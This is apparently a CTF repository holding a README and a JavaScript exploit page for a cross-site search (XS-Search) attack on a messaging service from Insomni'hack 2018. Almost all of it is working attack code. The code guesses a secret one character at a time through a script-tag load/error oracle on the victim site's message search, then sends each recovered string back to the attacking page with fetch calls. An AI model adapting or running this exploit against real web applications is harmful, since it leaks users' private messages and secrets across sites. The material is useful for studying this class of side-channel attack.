XS-Search Exploit for Secure Messaging Service

0README.md

XS-Search Exploit for Secure Messaging Service

Exploit used during Insomni'hack 2018 for team int3pids.

exploit.html

<script>
var alphabet="abcdefghijklmnopqrstuvwxyz0123456789{} !?&|/@+-_"
var FLAG="";
var i=0;
var result="loading";
var check="";
var valid=true;
function reset(){
         document.open();
         result="load";
         valid=false;
         onerror=function(){result="error";valid=true;}
}
function next(){
         fetch("?result="+result+"&flag="+escape(FLAG));
         if(valid){FLAG=check;i=0;}
         if(i>=alphabet.length){fetch('?done='+encodeURIComponent(FLAG));addFriend();}
         reset();
         check=FLAG+alphabet.charAt(i++);
         document.write('<script src="http://sms.insomni.hack/messages.php?from=jingle_bell1337&content='+encodeURIComponent(check)+'&direction=0" onload="next()"><\/script>');
}
next();
</script>